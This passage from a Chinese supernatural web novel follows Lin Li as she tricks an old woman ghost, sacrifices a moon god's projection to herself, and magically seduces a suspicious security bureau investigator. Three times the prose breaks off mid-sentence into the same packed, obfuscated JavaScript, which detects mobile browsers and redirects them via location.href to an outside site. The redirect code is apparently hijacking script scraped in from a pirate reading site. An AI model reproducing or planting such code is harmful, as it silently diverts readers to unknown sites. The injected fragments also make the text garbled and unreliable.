“难道你没有发现吗?”林黎放下剪刀,双眉皱起,疑惑地反问,“缄默季节快要来了。” 老太太脸上的褶子条件反射地绷紧,“不可能,现在才刚轮换到绯红季!怎么可能就到缄默季了?” 绯红季?林黎心里记下这个陌生名词,面上不露声色地说,“因为千面……” “不能!”老太太听到千面之月的时候眼睛里的恐惧几乎能溢出来,浑浊的眼睛瞪得很大,几近要撑破眼眶,嘴里声音刻意压得很轻,仿佛在害怕被谁听到,“不能叫名字!你会把祂引过来的!” 什么伏地魔设定? “但是,”林黎眨眨眼,无辜地说,“祂好像已经来了,不信你看窗外。” 老太太好像这时候才发现外面月光异常明亮。它的眼睛像怕被月光灼到似的急忙避开,浑身颤抖得跟筛子一样。 “怎,怎么会这样?” 它的眼珠子控制不住乱颤,脸上的惊惧畏缩看上去不像假的。 “祂来了……” 林黎原本以为邪神降临对诡异来说是件好事,5楼女人虽然加深了异化,但实力肉眼可见地增强了,那只僵尸也是。 但看老太太现在的模样,似乎完全不是这么一回事。 “你敬拜的神明来了不好吗?”她问。 “人类崇拜太阳,如果有一天它落到地面了呢?”老太太反问。 这个比喻倒是简单易懂。 林黎停了下,突然出声问道,“这个房间里有个密室,对吗?” “你怎么知道?” 话一出口老太太才意识到不好,刚才满心慌乱没警惕这只兔崽子下套。 “果然,”得到确定答复,林黎的目光转向四周。 她在进来时目测过,房间外面看起来至少有百步长,但里面却明显要短得多。房间里堆积如山的杂物大概也是为了掩饰这一点,不让面积异常过于惹眼。 “知道了又怎么样?祂就要来了,缄默季要来了,谁都逃不掉!”老太太双目惊恐地瞪圆,瞳孔望着某一处无神地呢喃。 “轮到自己死的时候才知道怕?”林黎说,“这么多年你献祭了多少人?走廊上的教会广告也是你贴的吧?” 她本来以为是5楼母亲为了找孩子向邪神做了祈祷才引来了祂,但看到房间的照片墙后发现自己想错了。 孩子才死不久,所以母亲一定也是最近才开始接触到这些。反而是老太太,好像很久以前就开始信教了,加上丈夫病重不治,走投无路之下选择了向邪神祭祀。不过事实证明,邪神不会救人,只会让人变成怪物。 “我能怎么办?”老太太被林黎审判的目光刺激到,尖锐地叫起来,“我开始也不知道,一旦祭祀过一次就再也不能停止了。神需要祭品,越来越多的祭品。如果不是糟老头子看中了外面的花女人要离开我……我只是想让他睡一觉,没想到药用多了会死,我不是故意的……” “没想到,还是不想想到?”林黎轻嗤一声反问。 老太太与林黎四目相对,沉默了会,突然嗬嗬笑起来,“白头偕老一辈子,临入土了搞这么一出。他,活,该。” “5楼母亲也活该失去孩子吗?”林黎挑眉,“自己淋了雨,所以要给别人浇开水?” 老太太呼吸更急促了,哑声说,“我不是故意的,我没有想过要杀那个孩子。” 在它狡辩的空档,林黎的目光始终在四周扫视,思忖着密室的门被藏在了哪里。 不行,杂物太多了,没有准确线索,短时间内根本找不到密室入口。 【3:05】 林黎瞄了眼时间,背对老太太闭了闭眼。 她转过身,眉头微微蹙起,眼睑轻颤,目光中闪过一丝薄薄的水光,显露出感同身受的矛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997426|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盾和痛苦。 “我明白,这确实不是你的错。丈夫出轨才让你失控放多了药,所以才会陷入邪教的陷阱。你不是坏人,你的良心也还没有泯灭,不然就不会在走廊上给死掉的男孩放米碗点香了,对吗?” 【2:01】 老太太闻言,蒙了层白翳的眼睛开始微微震颤起来,它没有说谎,确实没有想过要杀男孩。 不是所有人一开始就是天生的杀手,更何况在楼里住了几十年,那个孩子还是它看着出生,从一点点大到能跑能跳,接了糖会甜甜地喊,谢谢,阿婆。 可惜,一步错,步步错。 那天,等它发现的时候,男孩已经被啃得奄奄一息。它可以选择救他,但豢养僵尸的事也会被发现,还有这么多年来献祭的人。它没有选择,只能将错就错。 但男孩的死成了它动摇的开始,开始想是不是自己一开始就错了,恶念升起时下药,后悔想弥补时求助邪神救回丈夫,为了祭祀多年来又杀了无数人。 它都快忘了,自己原本也是个连路边的花都不忍心踩的姑娘家。 为什么会变成这样? 于是在一天夜晚,终于受不了内心的煎熬,它自杀了。诡域就是在这时候形成的,这里是它执念的演化,只是诡域的力量让它忘记了一切。无数年,一遍遍循环着曾经做过的事。 老太太嘴唇颤抖,“你真的觉得我还能做个好人吗?” 当然不是,错了就是错了,再有苦衷也不是残害别人的借口。 “当然,你做的一切都是因为教会蛊惑,并不是出于本意,”林黎鼻翼轻微翕动,喉咙咽了咽,声音伤感地说,“结束不了献祭也让你感到了痛苦,你不该受到不公正的对待,你理应得到宽恕。” 【1:00】 “宽恕?”老太太的眼眶微微湿润,血红的泪水缓缓溢出了眼眶,“不,我不配得到宽恕。” 成为邪神信徒的那刻起,它就被污染了,只是邪神留着狗腿子还有用,才没杀它。 林黎抿紧嘴角,死前忏悔她听过许多次,既廉价又无用。后悔除了折磨自己,没有任何意义。 “既然所有人都要死了,为什么不能让这对苦命的母子再见最后一面呢?”她按耐着性子,轻声说。 【0:15】 老太太的面庞僵持了会,朝左边慢慢侧过,目光投向冰箱对面的碗柜。 原来在这里,难怪它刚才能悄无声息地出现在她身后。 【0:08】 林黎迅速打开柜门,里面是一档档的碗格。她深吸口气,尽量让跳得飞快的心脏缓和下来,手指细细摸过侧面柜壁,寻到一枚暗勾时紧紧拉出,表层的碗柜顿时像门一样打开,露出后面漆黑的房间。 【0:03】 林黎试探地迈入半步,噗呲,挂在墙壁上的蜡烛燃起火焰,熟悉的腥甜充斥鼻尖。看来白蜡烛除了驱逐诡异,祭祀也需要用到它。 狭小的密室地板上,用鲜红的血液画着一个繁复的仪式法阵,小男孩被啃得坑坑洼洼的尸体就摆在中央。 【0:01】 【恭喜您找到了失踪的男孩】 重新回到母亲身边的男孩发誓,以后再也不会在夜晚偷跑出去玩耍了,特别是在走廊上拍球。 【调解工作已完成,请尽快下班!】 呲拉……几乎在消息亮起的同时,金属犁地的声音出现在走廊上。 糟了,这个任务完成的同时会把五楼女人吸引过来。林黎的心脏像被刀尖划过一样紧缩起来。 “重新回到母亲身边……”她早该想到的。 逼人的红光突然在密室中亮起,仪式法阵竟然被自动激活了。林黎看了眼男孩的尸骨,咬着牙,快步上去提起,然后迅速退出密室。 外间的老太太已经不见了,仅仅这么几分钟,窗外的月光已经像剑一样射进室内,留下一道长长的楔形光束。不知道是不是错觉,地板像被泡发了一样变得柔软,走起来仿佛在一片含水量超标的草坪上。 林黎绕过月光,大步走出房间。一楼大厅里一片狼藉,僵尸的身体被硬生生地撕裂,拆得七零八落。而不见的老太太此时正呆坐在大厅中央,怀里紧紧抱着它的头颅。 五楼女人已经异化得看不出人形,脑袋完全消失,被茂密飞舞的触手取代,上身裙衫破碎,肋骨两处长着排虾一样的小脚。 它走到老太太身旁,胸膛肋骨左右打开,像张嘴一样一口咬掉了对方的脑袋。 嘎吱咀嚼时,飞扬的触手感应到了什么,齐刷刷地转向林黎的方向。 声音从打开的肋骨里传出来,仿佛带着粘稠的酸液,腐蚀着听者的耳膜。 “我,看,见,你,了。” 13. 天寿小区 “别看。”边北舟哑着嗓子,痛苦地捂住耳朵,紧闭眼睛。 可是无济于事,虽然只是飞快瞥了眼,触手怪的影子却牢牢烙印在了脑子里。影像就像个污染源分源,不断在脑海里散发出呢喃声。 声音越来越大,越来越明显,而边北舟的精神值在肉眼可见地降低。 他见过侥幸从邪神本逃脱最后又因为抵抗不了污染最终发疯的异能者,明白那大概就是自己今晚的命运。 陆扬收回目光,脸上仍然带着震撼到空白的表情。不到一天前他还是个普通毕业生,不到一天后,不但觉醒了异能,还直接贴面观赏了这么炸裂的场面。 “污染物看多了也会受到感染,咳咳,”边北城浑身上下都是布满了伤口,特别是腹部那里,直接被僵尸的手贯穿出一个碗口大的洞。 如果不是随身携带了治疗道具,这会妥妥凉了。从某方面来说,异化女人的出现还算是救了他一命。 陆扬紧张地检查了下自己的身体。他能听见熟悉的呢喃,但自从觉醒异能后好像有层无形的力量帮他抵挡掉了一点,所以眼下的情况要比边北舟好上许多,至少还能行动。 一个圆滚滚毛茸茸的东西突然从天而降,落进陆扬怀里。他低头一看,与人头四目相对。 “嗨!”人头主动打招呼。 陆扬倒吸口气,当即就要把它丢出去。 “别扔,里面的蜡烛是房租,”林黎在大厅另一头喊道,“赶紧想办法通关离开!” 陆扬愣了下,把人头转过来,这才看到脑壳里塞的蜡烛。他刚想问林黎,他们走了她怎么办,但再抬头,她和触手女人都已经从一楼大厅消失了。 脑海里的呢喃声乍然变响,提醒陆扬不能再继续待下去了。他们留在这里不但帮不上林黎,反而会成为累赘。 他咬着牙,靠仅存的一丝理智,扶着已经没法行动的边北舟站起来,踉跄地走向大门。 门边有个类似银行交易台一样的窗口,玻璃后面黑洞洞的,看不清楚。 陆扬从人头里抓出一把蜡烛拼命塞进窗口,紧张地盯着里面,害怕房东死了会对通关有影响。 幸好并没有。 一只惨白的手从黑暗中凭空出现,将蜡烛堆收拢了进去。半晌,耳边传来玻璃大门解锁的声音。 陆扬吃力地喘着气,明明只距离门口五六步,但仿佛走了半个世纪。当他拖着边北舟穿过玻璃门,嘈杂的人声和警笛声蓦地在耳边响起。 已经安全了的信号让陆扬终于松下了神经。望着视野中朝他们跑来的模糊人群,他跟边北舟一起摔倒在地上昏死过去。 为了给陆扬他们创造出门机会,林黎引着触手女人离开大厅。老楼里能逃的地方不多,她只能朝楼上跑。 但没想到的是,明明是2楼楼层竟然直接变成了5楼。诡域空间已经在千面之月的影响下彻底扭曲混乱。 下秒林黎明白过来,这不是巧合,是千面之月想让她回到5楼。但是为什么?这里有什么? 她立即想到了4450房间的仪式法阵,看无头男人的摆位,应该是用于献祭仪式……祂想要的是她。 林黎低头看了看手里提溜的男孩尸骨,很快有了办法。既然对方想要祭品,那就给祂一个。 触手女人轻声哼唱着走上来,脚步不紧不慢,似乎非常肯定猎物已经跑不掉了。祂在楼梯口站定,头上舞动的触手感应了下空气中残留的气息,接着继续哼唱着往4450房间的方向走去。 猎物自投罗网的识相行为让祂很满意。 4450的大门敞开,可以清晰看见地板下面的仪式法阵上躺着个黑黢黢的身影。触手女人不疑有他,缓步迈入,但随着靠近,黑影的轮廓越来越清楚,身体里的另一股意识乍然增强。 仪式法阵上躺着的已经不是无头男人,而是一具小得多的尸骸,是这个身体宿主一直在寻找的孩子。 母亲对孩子的爱让她暂时压制了邪神投影,短暂恢复了一丝理智。她蹒跚地走到孩子身边跪下,紧紧将他抱在了怀里。 “我们再也不要分开了。”女人半抽泣半呢喃。 “我应允了。”空无一人的黑暗中传来林黎的声音。 触手女人猛地抬头,胸口大嘴张开发出嗡鸣。千面之月夺回身体控制权,下意识觉得有诈,想离开法阵范围,但已经来不及了。 嗤一声,法阵周围齐刷刷地亮起了一圈白蜡烛,18根,不多不少。 商城兑换的隐身道具正好失效,林黎的身影凭空出现在房间里。 “用献祭给我的法阵来献祭我?”能腐蚀耳膜的声音嗬嗬笑道,轻蔑地说,“很有想法,可惜没用,这对我无效。如果你乖乖献上自己,我会考虑给你一个痛快。” “劝你下次异化宿主的时候保留眼睛,”林黎托起手里翻开的书本放到胸前,对照着念出献祭的密语。 随着林黎的语速越来越快,千面之月察觉到法阵正在吸收自己的力量。 “怎么会?” 祂这才想到去检查仪式法阵,转了一圈终于在不起眼的角落发现了涂改的痕迹,那是献祭对象的标志,原本的月亮被改成了两个歪歪扭扭的字:林黎 她把祂献祭给了她自己…… 千面之月勃然大怒,这个胆大包天的蝼蚁竟然敢肖想神明? 实话说一个投影的力量对祂本体的损失不大,但这招属于是贴脸嘲讽,伤害性不强,但侮辱性巨大,简直是把祂的脸踩在了脚底下,再碾了碾。 一旦传出去,千面之月都能想象得到被其他群神冷嘲热讽的场面了,以后几万年还要不要混! 不能将这个人类碎尸万段,实在难解祂的心头之怒! “想吸取神的力量,也要看你够不够格!”祂咬牙切齿地咆哮。 “多谢关心,不过你管好自己就行,”林黎念完密语,放下书。 法阵中的触手女人身上燃起了绿色的火焰,千面之月无能狂怒的咆哮轻了下去,直到消失。 没了邪神投影,她恢复了身体控制权,用最后一点力量抱起男孩尸骨。小男孩的鬼魂出现,朝着女人的方向扑进了法阵中,他最终原谅了母亲,选择了永远在一起。 母子向林黎恭敬地行礼,然后很快被绿色火焰燃烧为了灰烬。 将猎物吸食殆尽的法阵餍足地暗了下去,周围的白色蜡烛也已经快烧到底了。 林黎坚持不住地单膝跪地,忍不住喉咙的痒,吐出一口血。 强行吸收神的力量给她的身体造成了过重的负荷,换了真的普通人估计这会已经成肉泥了。幸好在身体快崩溃的时候,棋盘主动吸收掉了大半。 【检测到您的道具:邪神的棋盘,已满足开启聚会功能】 【检测到聚会最低信徒数量:3/3】 【请为您的聚会命名】 林黎不知道这个聚会是个什么,有什么用,但是提到命名,脑海里条件反射地闪过app的小丑图标。她下意识轻声说道,“丑角。” 【已将您的聚会命名为丑角,期待您开启首次聚会】 【恭喜您完成第二份工作,报酬结算中……】 【时薪1万,历时时间10小时,总共薪酬10万,会在24小时内以合理方式打入您的卡中】 林黎第一反应是亏了,才10个小时,早知道应该磨蹭久一点的。 【解锁称号:噬神者】 这是个令人振奋的消息,您获得了千面之月的献祭,虽然只是祂众多投影之一,但这绝对不会是最后一次,奖励拼图:10000 请再接再厉哦! 林黎看到拼图数额后面的零愣了下,woc,狗app这次竟然给得这么慷慨。还有看信息描述,它这是在鼓励她更多地吸收邪神力量吗? 【称号:职场解放者】 死亡不是结束,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997427|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永远的开始,是彻底的解放,求生者1/4,奖励拼图:50 请再接再厉哦! 搞到一个邪神分身就有10000,死掉一个求生者才50,林黎大彻大悟,明白以后该怎么做了。 【称号:职场杀手】 这是个令人沉痛的消息,您的老板都已身亡。黑色称号不奖励拼图 林黎:…… 不是,这次明明不是她动手,为什么还能算在她头上? 【恭喜您获得了诡域天寿小区归属权!】 您驱逐了千面之月的投影,成功阻止了缄默季节降临,完美完成调解者工作,获得了小区诡异的尊重,它们一致同意您成为新的诡域之主。 林黎:! 她看到app上多了一个地图图标,点进去以后,里面是一片空白的拼图,其中一小块拼图上出现了彩色图案,看样子就是天寿小区。 【您现在可以自由出入并建设天寿小区了!请不要辜负居民们的厚望,努力成为年度最受欢迎的诡域之主吧!】 这个自由建设难道是她想的那样吗? 【是否将目前所在房间作为您在本地的居所】 林黎压下心里的激动,深吸口气,按下是,接着在脑海里描绘出一栋崭新高档的公寓楼模样。念头一动,眼前破败的筒子楼果然肉眼可见地变新了。 回字结构变成了普通的坐北朝南楼栋,没有了月亮遮挡,太阳光将走廊照得雪亮,斑驳的墙壁变得雪白,老旧的地板焕然一新,玻璃窗光可鉴人…… 但当建设推进到家具摆设时,一条提示弹到了林黎脸上。 【提示:缺少拼图!】 她睁大眼睛,预感不妙,赶紧翻出app查看拼图余额,果然看到了一个光秃秃的0。除去买隐身道具的花销,刚到手的10000+就这么挥霍光了…… 说好自由建设,结果是要花拼图的吗? 更重要的是,楼还烂尾了。 林黎心虚地扫了眼光秃秃的房间,为住在楼里的居民默哀三秒,接着光速离线。等她赚了拼图再回来,这之前辛苦它们睡几天地板先。 然而楼里已经炸开了锅: “老子睡得好好的,床呢?” “我的灶台……饭还是生的。” “狗东西的房间在哪?我们去理论理论!” “我看到楼顶大平层刚才闪过道光,ta估计已经溜了……” “啊啊啊啊啊啊啊狗东西竟然跑了!” …… 眼前一闪,林黎回到了自己的出租屋,但意识仍然可以察看到楼里的活动。她抬手抹了抹不存在的虚汗。 幸好溜得快,不然就被堵住门了。 嗯?这是什么? 林黎托起手上的书,刚才献祭的密语就是从这上面找到的,没想到它竟然没有随着老楼消失,而是保存了下来。 不仅如此,书本上被涂抹损毁的部分全都修补好了,红丝绒的书封灿然一新。 这么高级的书一定记载着很多珍贵的知识吧? 林黎兴致勃勃地看向书名: 《邪神:从入门到精通》 林黎:…… 这个邪神她是非当不可吗? 正当林黎跟书本无语地对视时,房门突然被敲响了,同时眼前弹出一个红色的警示。 【您的活动已引起当局的注意】 在成就伟大的路上,您突飞猛进,但请小心,这些活动会引来许多不可说的力量的阻碍,人类安全局也是其一。 林黎若有所思地扫了一遍信息。白蜡已经在祭祀中使用掉,储存隔正好空出来放书。 她起身打开门,看见外面的男人时瞳孔不由自主地一缩。 银色发辫,俊美得像雕塑的面孔,黑色制服包裹出挺拔身形,收束的腰间左右别着两把银色的木仓。 是他,那个请她吃前老板脑髓的男人! 14. 安全局 开门出来的女孩看上去好像才刚起床,眼角微红有些湿润,眼睛睁得圆圆的,茫然的表情在看到顾淮腰间的武器时肉眼可见地变得吃惊不安。 顾淮身前的小职员声音不觉得放温和了点,掏出证件展示,“林小姐不用害怕,我们是安全局的。因为江城最近诡域频繁爆发,我们收到上头指令例行走访。” 绝对不是例行走访。对方能直接叫出她的名字,一定提前调查过她。 为什么?她最近也没干什么,难道是以前干的东窗事发了? “您好……”林黎的声音轻软,但因为喉咙发紧有些干哑,手无意识地捏紧衣服下摆,像极了受惊的兔子。 “最近有没有听到异常响动?”小职员翻开记录本记录。 女孩垂眼想了想,摇摇头,小声说,“没有,不过也可能是我睡得比较深。” 小职员点点头,又接连问了几个无关紧要的问题,最后不着痕迹地看了眼银发男人,见他没进一步表示,就要结束问话。 突然,屋子里传来一声猫叫。 一直安静侧靠在走廊上的银发男人陡然转过脸,放下抱着的手,往前走了几步。 “你养猫?” 对方脸上看不出表情,眼神和口气也没什么波动,分析不出什么,啧,麻烦。 不过他为什么要问猫? 大天灾后养宠物是很常见的事。因为宠物可以安抚情绪,而且有时候动物的直觉可以帮忙避开一些新生诡域。 林黎长长的睫毛扇了扇,点点头,“我是流浪动物协会的志愿者,咪咪是第一只救助的流浪猫,我看有缘分就带回家养了。” 顾淮闻言侧眼看向小职员,后者立即点点头,示意对方没有说谎。 蓝白胖子盘尾在玄关坐下,圆蓝眼盯着三人,一点不怕生,皮毛光滑柔软,可以看出主人平时确实照顾得很好。 漂亮乖巧,有爱心,温柔细腻的女孩形象在两人心中逐步加深。 顾淮静静看着她,目光落到林黎的后衣角上时,眼神变得幽深。 “最近有出入过诡域吗?”他的声音平静,但盯着她的眼神变得微微锐利了点。 林黎的心一紧,后衣角有什么吗? “没有,”她轻声说着,手指轻轻捏紧,然后大大方方地低头,将那片衣角扯到前面察看。 毕竟只有犯罪嫌疑人才会试图掩饰,她是无辜的,有什么好心虚。 衣角从背后的阴影中扯出来,一大片深红色血迹在廊灯下一览无余。 林黎:……她好像也没那么无辜。 走廊上的气氛陡然微妙起来,连顾淮身后的小职员眼神都是一凛。 woc,一定是扎老太太那一下的时候溅上的。 林黎沉默了一瞬,表情肉眼可见地变得慌张,但不是害怕畏惧的那种,而是尴尬和羞赧。 “这是……”林黎垂着眼睛,衣领因为急促的呼吸微微颤动,似乎是在找什么恰当用词解释。 “是什么?”顾淮面无表情,冷冰冰地追问。 林黎抬起头,垂着眼尾,眼眶急得泛起了红晕,黑色圆眼与琥珀色狭长眼睛直直对视。 “就是那个……”她抿了抿嘴,很小声地说,“例假。” 顾淮微微蹙眉,琥珀色眸子罕见地浮现出困惑,“例假?” 他身后的小职员有女朋友,立即明白过来,有些尴尬地小声说,“顾队,就是女生每个月都会来的那个。” 顾淮听懂后脸上表情空白一瞬,重新望向林黎时眼神也变得飘忽起来。 “林小姐,谢谢配合。”他退后一步。 林黎嘴角勾起抹很细微的弧度,轻声说,“没事。” 小职员上前递笔让她签字,再次不好意思地道歉。 但笔一入手,林黎就感觉到了异样。 触感不太对。她状似不经意地摩挲了下,略黏腻,垂头签字时轻嗅,果然残留着类似医用胶水的微酸气息。 是指纹膜。 林黎对这东西不陌生,制作快捷而且材料便宜。但安全局的人戴着指纹膜上门走访就很可疑了。 她立即想到对方是要取她的指纹,也就是说他们手上已经有一个可比对的证物了。 【糟糕!只要一比对指纹,您就会暴露!】 抬起头看到虚空中挂着这么一条金光闪闪信息的林黎:…… 金字边缘还在不断散发着金光,给她一种狗app此时是在辛灾乐祸的感觉。 【烦人的安全局!烦人的调查员!】 总是有人要在您通往伟大的路上做绊脚石。但对付凡人的方法有很多,您可以选择: 【试图逼疯对方】 污染他,扭曲他,使他疯狂,毕竟谁会相信一个疯子呢?疯子的用途有很多,破坏是其中之一。 【试图引诱对方】 渴望会令一个人面目全非,这正是渴望的用处。还有什么会比一个强大人类成为您的所有物更令人感到愉悦的呢? 【警示】 一旦您选择错误就会面临牢狱之灾!请谨慎选择! app不会在这种事情上开玩笑,选错肯定就g了 逼疯选项最有效率,能直接达成她的目的,但真的有这么容易吗? 林黎能感觉到这个白头发男人的气息,沉稳且深不可测,app盖章的强大肯定不好对付。这样的人精神必然也很坚韧。 也许硬碰硬不会是个好选择。 想到这里,林黎果断选了引诱,然后就看见一枚亮晶晶的6面骰子从天而降。 幸运E的人大概都能明白此时林黎内心飘过的一万句woc 从选择,到掷骰决定成功率,狗app简直处处是坑! 骰子咕噜噜地在引诱选项下开始转动,随着速度越来越慢,林黎身体不自觉地紧绷起来,艰难地咽了咽口水。 这可是决定她将来是不是要吃牢饭的命运之骰! “怎么了?”小职员收回笔,看见林黎一直望着顾淮的方向。 “其实……”林黎语气迟疑,余光一直死死盯着骰子。 顾淮敏锐地察觉到了她的变化。 他上前一步,垂眸,若有所思地打量对方紧绷的下颌,紧抿的淡色嘴唇,翕动的鼻翼,到微微睁圆的眼睛。 这个女生变得异常紧张,好像是从刚才签字开始的 难道她发现了笔的问题? 光能意识到并察觉指纹膜存在这个事就足以推翻她刚才表现出来的那种单纯形象。 普通人不会经常接触指纹膜,更不要说在几秒内从笔上留下的痕迹中推测出来,这种警惕意识和缜密的思维已经到了可怕的程度。 最重要的是,只有嫌疑人才会害怕采集指纹。 顾淮的眼神微暗,熄灭的怀疑再次冒出火苗。 林黎整个人都被虚笼在高大的影子中,余光里慢下来的骰子停在一条边棱上,在四和五之间左右摇晃,恍惚间,她好像已经看到了未来含着铁窗泪的自己。 “有什么需要帮助的吗?” 声音清冷得像山涧泉水,林黎想到以后天天都要喝一壶就觉得牙冷。 “我其实……”林黎几乎已经不抱希望,她的运气一直差得可以,这次大概也一样。 她抬起头望向顾淮,深陷的眼窝,长长的睫毛在眼下投出一小片阴影,琥珀色眸子在昏黄的灯光下仿佛流淌着一圈液态金子。 “我其实有点喜欢你。”她自暴自弃地说。 不是谎话,这长得人模狗样的男人确实还挺符合她审美的,只是是想做成人体标本锁在展示柜里的那种喜欢。 摇晃的骰子落地,五 【勉强成功】 这个人类的精神非常强大,您暂时选择隐秘的方式是正确的! 爱是扭曲灵魂的温柔陷阱,是腐蚀精神的甜蜜献祭,再强大的飞蛾也忍不住对火焰的渴望。 顾淮愣了下,似乎没想到会突然接到告白。 他的眼睛不由自主地睁大,耳边仿佛能听见虚空中隐约的嗡嗡声,但很快又被耳膜中血管突突鼓动的声响盖过。 奇怪,心跳从来没那么快过。 林黎看见那个五点几乎要喜极而泣,yes!狗app这次终于没那么狗了。 小职员忍笑道,“林小姐,我们正在执行公务。” 林黎决定小试一下这个勉强成功的强度。 “那我可以……”她把一缕垂落的鬓发慢慢别到耳后,朝沉默的男人羞赧地眨了眨眼睛,“要一个你的号码吗?” 顾淮下意识就想拒绝,这不太对,但又说不上哪里不对。他罕见地感觉到脑袋空白,不规律的心跳不断干扰,而且耳边还有个很轻但很密的声音不断在说,给她,给她,给她…… “我觉得……”不太合适。 但话到了嘴边怎么也说不出口,仿佛有种无形的力量在阻止他拒绝她。 小职员等着顾淮一口拒绝,再碎一颗少女心,没想到他竟然犹豫了!他犹豫了! 他顿时燃起了八卦欲,目光在两人之间转了转,美丽的少女含情脉脉,英俊的男人欲言又止,以他的经验看,这分明是郎有情妾有意啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997428|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过顾队一向公私分明,也许是因为正在执行公务,不好意思处理私事。 “顾队,就一个号码,”小职员贴心地解围道,“这样以后也可以更方便为群众解决困难嘛。” 顾淮手指微顿,沉默的视线落在满含期待的眼睛上,似乎是终于被说动了。 他接过林黎的手机输入了号码时,发现机子边缘的掉漆已经很严重了。她确实过得很拮据。 “谢谢。”林黎扬起脸,黑色的瞳孔像装满星星的夜空一样亮闪闪的。 她站在门口,看着他们的背影消失在楼梯转角,这才转身进屋。 金色字再次出现。 【优秀的猎人往往具备超常的耐心】 这是一只难对付的猎物,您必须要比以往更有耐心。 勉强成功不足以让对方彻底沦陷,随着时间和距离的增长,引诱效果会逐渐削弱,请您注意保持影响力。 也就是说她要经常跟他联系和见面?林黎撇撇嘴。 当务之急是先销毁那支笔上的指纹。 林黎略一思索,一颗白车棋出现在眼前,接着它像液体一样融化凝聚出一只黑色的巨狼。 “跟着他们,找机会毁掉笔,”她撩起窗帘的一角,垂眸盯着楼下朝小区门口走去的两人,“保证安全的情况下,直接干掉白头发的男人也行。” 虽然知道不可能,但万一成了呢?这个狗男人的直觉太敏锐了,留着早晚是个祸害。 巨狼接到命令立即转身融进了影子中消失了。 走出老小区,小职员翻着记录本问,“顾队,刚才那个就是江城最后一个叫林黎的了,怎么样?这个要从后续跟进调查名单上划掉吗?” 顾淮垂着眼睛,闻言脚步一顿,似乎是想转身但停住了,他打开车门上去,等小职员关上门后,沉默的男人才开口道,“保留。” 小职员惊讶地转头看了他一眼,又翻翻记录本,上面夹着一份林黎详细的生平,“孤儿,被多次收养后又屡次弃养,高中开始就靠做零工养活自己,直到大学毕业才有了稳定工作,还是流浪动物协会志愿者,邻里都说是个文静有礼貌的女孩。” 顾淮沉默地听着不知道在想什么,只是听到屡次弃养时睫毛动了动。 从档案看这就是个可怜但坚强,善良还非常漂亮的女孩,如果不是小职员有女朋友了,他感觉自己都要心动了。 小职员想到这里又下意识道,“人家还对您一见钟情呢。” 抬头对上顾淮微妙的目光时,小职员意识到自己刚才有点不够严肃,收起松散,认真说,“顾队,我是觉得这样的女孩不像是有反社会倾向。她大概连只鸡都不敢抓。” 顾淮沉默思忖了会,若有所思地说,“她太镇定了。” 小职员愣了下,仔细从头回想了一遍,疑惑问,“她看起来挺慌张的啊?” 确实,一开始顾淮也是这么想,直到最后,那双黑眼睛直直盯着自己时,他才觉察到了一丝异样。 不说小职员,连周宁这样长期混在第一线的调查队老人都不敢长时间跟他对视,更不用说一个年轻女生了。 顾淮随着分析在心里慢慢勾画出另一个截然不同的形象。 这是个患有情感缺失症但非常聪明的人,她很清楚什么样的人物形象最容易被社会接纳和喜欢,平时依靠模仿别人的表情言行来掩饰真实的自己。 说话时与人对视是常见的表现无辜和真诚的方式之一,但关键在于对方不了解自己,所以做出了不精准的判断,才出现了这样的破绽。 当然,以上都是顾淮的猜测。也有可能,这就是个普通但神经有些迟钝的女生,所以才不怎么怕他。 一切都还需要靠进一步调查才能知道。 想到这里,顾淮抬头看向小职员问,“笔保存好了吗?” “保存好了,”小职员已经系好安全带准备开车,把装着笔的取证袋递给顾淮,“我刚才检查过自己的指套,没有破,不会污染上面的指纹。” 顾淮嗯了声,接过放进文件夹,这样一模一样的笔里面还有数支。 是不是她,指纹比对完就知道了。 这时他的手机嗡地震了一下,来自一个陌生号码的好友申请。 【我叫林黎,不知道你的名字是什么?小猫捧手星星眼.jpg】 他的目光在信息上短暂停了下,接着通过申请,顾淮两个字刚发过去,屏幕上跳出通话申请。 来电显示是周宁。顾淮面色微变,接起放到耳边。 “顾队,”电话里传来周宁兴奋的声音,“北舟醒了!” 15. 地狱巴士 安全局是一座完全由天使金属构筑起来的大厦,在阳光下会反射出银白色光晕。 内部墙壁则完全由冷灰色合金包裹,上面刻满了类似楔形文字的密符,密密麻麻地布满了墙壁、地面和天花板。 这些保护符文既是为了防止诡异力量的入侵,同时也是为了困住有可能变异的污染对象从这里逃离。 地下七层,污染物隔离室。 一块巨大的玻璃将房间分隔为两半,一边是各种检测设备,另一边则是类似医院病房布局的房间,四周严丝合缝地包裹着走廊同款合金。 边北舟正百无聊赖地躺在床上,脸上卸掉了妆,洛丽塔裙装也已经换掉,穿着松垮的病号服,看上去像个刚毕业的大学生,气质干净,身材瘦削。 